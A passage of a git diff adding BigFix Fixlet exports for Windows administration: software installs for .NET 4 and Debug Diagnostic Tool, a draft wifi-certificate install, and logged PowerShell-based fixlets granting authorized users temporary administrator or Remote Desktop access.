+<LI>Improvements to Windows Workflow (WF) that enable developers to better host and interact with workflows. These include an improved activity programming model, an improved designer experience, a new flowchart modeling style, an expanded activity palette, workflow-rules integration, and new message correlation features. The .NET Framework 4 also offers significant performance gains for WF-based workflows. For a comprehensive list of enhancements to WF go <A href="http://msdn.microsoft.com/en-us/library/dd489410(VS.100).aspx"><FONT color=#000080>here</FONT></A>.
+<LI>Improvements to Windows Communication Foundation (WCF) such as support for WCF Workflow Services enabling workflow programs with messaging activities, correlation support. Additionally, .NET Framework 4 provides new WCF features such as service discovery, routing service, REST support, diagnostics, and performance. For a comprehensive list of enhancements to WCF go <A href="http://msdn.microsoft.com/en-us/library/dd456789(VS.100).aspx"><FONT color=#000080>here</FONT></A>.
+<LI>Innovative new parallel-programming features such as parallel loop support, Task Parallel Library (TPL), Parallel LINQ (PLINQ), and coordination data structures which let developers harness the power of multi-core processors.</LI></UL>]]></Description>
+    <Relevance>(name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it) OR name of it = &quot;Win2008R2&quot; OR name of it = &quot;WinXPe&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKLM\SOFTWARE\Microsoft\.NETFramework\v4.0.30319&quot; of native registry</Relevance>
+    <Category>Install</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-03</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 03 Oct 2012 16:07:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch dotNetFx40_Full_x86_x64.exe sha1:58da3d74db353aad03588cbb5cea8234166d8b99 size:50449456 http://download.microsoft.com/download/9/5/A/95A9616B-7A37-4AF6-BC36-D6EA96C8DAAE/dotNetFx40_Full_x86_x64.exe
+
+wait __Download\dotNetFx40_Full_x86_x64.exe /quiet /norestart
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action3891">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about this software.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.microsoft.com/en-us/download/details.aspx?id=17718</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Install new wifi certificate - Windows (6247).bes b/Sites/Windows Management/Fixlets/Fixlets/Install new wifi certificate - Windows (6247).bes
new file mode 100644
index 000000000..3d5b95d5a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Install new wifi certificate - Windows (6247).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Install new wifi certificate - Windows
+  ID       : 6247
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-10-12T13:35:19
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Install new wifi certificate - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
+    <Relevance>( exists node values of selects &quot;/WLANProfile/name/text()&quot; of xml documents of files whose(name of it as lowercase ends with &quot;.xml&quot;) of folders of folders &quot;C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces&quot; )     OR  ( exists wifis of adapters of networks )</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2015-10-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 12 Oct 2015 20:29:59 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+// need prefetch statement here
+
+extract __Download\cert.cat.tmp
+
+waithidden cmd.exe /C { if (x64 of operating system) then ( (pathname of windows folder) & "\sysnative" ) else (pathname of system folder) }\certutil -f -addstore ???? "{ (pathname of file whose(name of it as lowercase ends with ".cat") of folder "__Download" of client folder of current site) }"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Install_ Debug Diagnostic Tool v2 Update 1     TODO_ Add Relevance (6061).bes b/Sites/Windows Management/Fixlets/Fixlets/Install_ Debug Diagnostic Tool v2 Update 1     TODO_ Add Relevance (6061).bes
new file mode 100644
index 000000000..956131554
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Install_ Debug Diagnostic Tool v2 Update 1     TODO_ Add Relevance (6061).bes	
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Install: Debug Diagnostic Tool v2 Update 1     TODO: Add Relevance
+  ID       : 6061
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-12T12:10:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Install: Debug Diagnostic Tool v2 Update 1 TODO: Add Relevance</Title>
+    <Description><![CDATA[<P>This task will deploy: Debug Diagnostic Tool v2 Update 1.</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Category>Software Distribution</Category>
+    <Source>Software Distribution Wizard</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2014-06-03</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 12 May 2015 19:10:12 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//  http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx86.msi
+//  http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx64.msi
+
+begin prefetch block
+	add prefetch item name=DebugDiag.msi sha1=e50ba364d41a0db7a8055345892164832858fe81 size=22421504 url=http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx64.msi
+	add prefetch item name=DebugDiag.msi sha1=627f063bb42e9016ddc0eee27db57e1f694154c7 size=17412096 url=http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx86.msi
+end prefetch block
+
+wait "{pathname of system folder & "\msiexec.exe"}" /i "{(pathname of client folder of current site) & "\__Download\DebugDiag.msi"}" /qn /norestart
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Install_Update_ Debug Diagnostic Tool v2 Update 1 - Windows (6063).bes b/Sites/Windows Management/Fixlets/Fixlets/Install_Update_ Debug Diagnostic Tool v2 Update 1 - Windows (6063).bes
new file mode 100644
index 000000000..0477b4244
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Install_Update_ Debug Diagnostic Tool v2 Update 1 - Windows (6063).bes	
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Install/Update: Debug Diagnostic Tool v2 Update 1 - Windows
+  ID       : 6063
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-12T12:24:43
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Install/Update: Debug Diagnostic Tool v2 Update 1 - Windows</Title>
+    <Description><![CDATA[<P>This task will deploy: Debug Diagnostic Tool v2 Update 1.</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance><![CDATA[not exists keys whose(value "DisplayName" of it as string contains "Debug Diagnostics" AND value "DisplayVersion" of it as string as version >= "2.1.0.7") of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" of (x64 registries;x32 registries)]]></Relevance>
+    <Category>Software Distribution</Category>
+    <Source>Software Distribution Wizard</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2014-06-03</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 12 May 2015 19:23:29 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//  http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx86.msi
+//  http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx64.msi
+
+begin prefetch block
+	if{x64 of operating system}
+		add prefetch item name=DebugDiag.msi sha1=e50ba364d41a0db7a8055345892164832858fe81 size=22421504 url=http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx64.msi
+	else
+		add prefetch item name=DebugDiag.msi sha1=627f063bb42e9016ddc0eee27db57e1f694154c7 size=17412096 url=http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx86.msi
+	endif
+end prefetch block
+
+wait "{pathname of system folder & "\msiexec.exe"}" /i "{(pathname of client folder of current site) & "\__Download\DebugDiag.msi"}" /qn /norestart
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current Authorized Requestor to Remote Desktop Users - Windows (22607).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current Authorized Requestor to Remote Desktop Users - Windows (22607).bes
new file mode 100644
index 000000000..0a5d7c521
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current Authorized Requestor to Remote Desktop Users - Windows (22607).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Current Authorized Requestor to Remote Desktop Users - Windows
+  ID       : 22607
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-11T17:08:13
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Current Authorized Requestor to Remote Desktop Users - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet adds the currently logged on user, who is an Authorized Admin Requestor, to the Remote Desktop Users group permanently.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
+    <Relevance>exists key (component string of sid of logged on user as string) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current&quot; of x32 registry</Relevance>
+    <Relevance>not exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */   set of ( /* User&apos;s SID and Group Memberships */   ((sids of groups of logged on user of active directory) as string); /*User Group Memberships */   (sid of logged on user) as string /*Users SID*/  );  (   (   set of ( /*Users and Groups in Administrators */    sids of members of local group &quot;administrators&quot; as string)   ) + (   set of ( /*Users and Groups in Remote Desktop Users */    sids of members of local group &quot;remote desktop users&quot; as string)   )  ) )</Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;remote desktop access.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+wait net localgroup &quot;Remote Desktop Users&quot; &quot;{sid of current user}&quot; /add
+</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current Authorized Requestor to Temporary Administrators - Windows (24153).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current Authorized Requestor to Temporary Administrators - Windows (24153).bes
new file mode 100644
index 000000000..f7faad235
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current Authorized Requestor to Temporary Administrators - Windows (24153).bes	
@@ -0,0 +1,808 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Current Authorized Requestor to Temporary Administrators - Windows
+  ID       : 24153
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:24:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Current Authorized Requestor to Temporary Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet adds the currently logged on user, who is an Authorized Admin Requestor, to the administrators group temporarily.</P>
+<P>This fixlet by itself does not remove their administartive rights when the expiration time passes. Removing their access requires&nbsp;the, "Invoke - Remove Expired Users from Temporary Administrators - Windows" fixlet to be run as a policy action.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
+    <Relevance>exists key (component string of sid of logged on user as string) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current&quot; of x32 registry</Relevance>
+    <Relevance>not exists elements of intersection of ( /*IS THE LOGGED IN USER AN ADMINISTRATOR? */   set of ( /* User&apos;s SID and Group Memberships */   ((if (exists sids of groups of logged on user of active directory) then (sids of groups of logged on user of active directory) else (nothing)) as string); /*User Group Memberships. If Statement helps protect against bogus AD Cache results.*/   (sid of logged on user) as string /*Users SID*/  );(  set of (/*Users and Groups in Administrators */   sids of members of local group &quot;administrators&quot; as string)  )  )</Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;administrative rights for 1 hour.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 1*hour}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action25204">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user authorized admin requestor&amp;nbsp;administrative rights for&amp;nbsp;8 hours.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + 8*hour}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
